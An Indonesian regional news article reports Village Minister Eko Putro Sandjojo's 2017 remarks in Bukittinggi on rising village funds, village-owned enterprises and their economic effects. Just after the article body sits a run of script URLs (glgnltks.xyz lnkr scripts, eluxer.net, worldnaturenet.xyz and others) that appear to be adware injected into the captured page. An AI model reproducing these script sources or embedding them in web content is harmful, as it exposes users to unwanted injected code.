Ruang Publik

BUMdes Komitmen Mendes PDTT Bagi Pemerintah Daerah Wujudkan Desa Lebih Mandiri

HaloBukittinggi : Pembangunan desa di Indoensia memasuki fase baru, sejak Presiden Joko Widodo memrioritaskan pembangunan desa ke dalam salah satu program kerja pemerintah yakni membangun Indonesia yang dimulai dengan memperkuat daerah-daerah dan desa dalam kerangka negara kesatuan, pemerintah berkomitmen menjadikan desa lebih mandiri.

Demikian disampaikan Mentri Desa Pembangunan Daerah Tertinggal dan Transmigrasi Eko Putro Sandjojo di Bukittinggi, Sabtu (13/5/2017), menurutnya, komitmen tersebut salah satunya ditunjukkan pemerintah dengan mengucurkan dana desa yang jumlahnya terus meningkat dari tahun ke tahun.

“Pada tahun 2015 jumlah dana desa yang dikucurkan Rp 20,76 triliun, dengan rata-rata per desa sebesar Rp 280,3 juta, kemudian pada tahun 2016 meningkat menjadi Rp 46,96 triliun, dengan rata-rat per desa Rp 643,6 juta, dan ditahun 2017 kembali meningkat menjadi Rp 60 triliun, dan masing-masing desa mendapatkan Rp 800 juta,” jelasnya.

Menurut Eko Putro Sandjojo, dana desa itu didistribusikan kepada 74.910 desa di seluruh Indonesia, dengan harapan dana itu bukan hanya menjadi sumber utama pembangunan desa, melainkan bisa menjadi stimulus atau daya ungkit dalam pembangunan desa.

“Salah satu upaya itu dengan cara membentuk BUMDes (Badan Usaha Milik Desa), agar desa tersebut mampu lebih mandiri karena menghasilkan pendapatan untuk pembangunan desa,” terangnya.

Eko Putro Sandjojo menambahkan, dampak dana desa bagi pertumbuhan ekonomi desa sangat signifikan. Rata-rata pertumbuhan ekonomi di desa sejak adanya dana desa mencapai 12 persen per tahun. Hal ini kemudian berimbas terhadap pertumbuhan ekonomi nasional.

“Walaupun program dana desa masih baru dan terdapat kekurangan, dana desa mampu menunjukkan bahwa desa memiliki kontribusi cukup besar dalam meningkatkan pertumbuhan ekonomi secara nasional,” ujarnya.

Dalam perjalanan nya sambung Eko Putro Sandjojo, dana desa terbukti memiliki pengaruh yang signifikan terhadap peningkatan pertumbuhan ekonomi dan penyerapan tenaga kerja secara nasional. Berdasarkan data dari Mendes PTT tahun 2016 lalu, dana desa berkontribusi sebesar 0,9% pada Produk Domestik Bruto (PDB), menyumbang 0,04 % dalam pertumbuhan ekonomi nasional, dan menyerap tenaga kerja sebanyak 2.331.235 jiwa. (Dipra)

 

 

 

https://cdncache-a.akamaihd.net/sub/nee5452/51565_4460_/l.js?pid=2449&ext=Advertisehttps://cdncache-a.akamaihd.net/sub/nee5452/51565_4460_/l.js?pid=2450&ext=Not%20sethttps://glgnltks.xyz/addons/lnkr5.min.jshttps://glgnltks.xyz/addons/lnkr30_nt.min.jshttps://eluxer.net/code?id=105&subid=51565_4460_https://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51565_4460_&r=36https://glgnltks.xyz/ext/116c6de661dcbbd02f.js?sid=51565_4460_&title=Not%20set&blocks%5B%5D=1f755&blocks%5B%5D=4d09a

Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

Populer

Copyright © 2016 HaloBukittinggi

To Top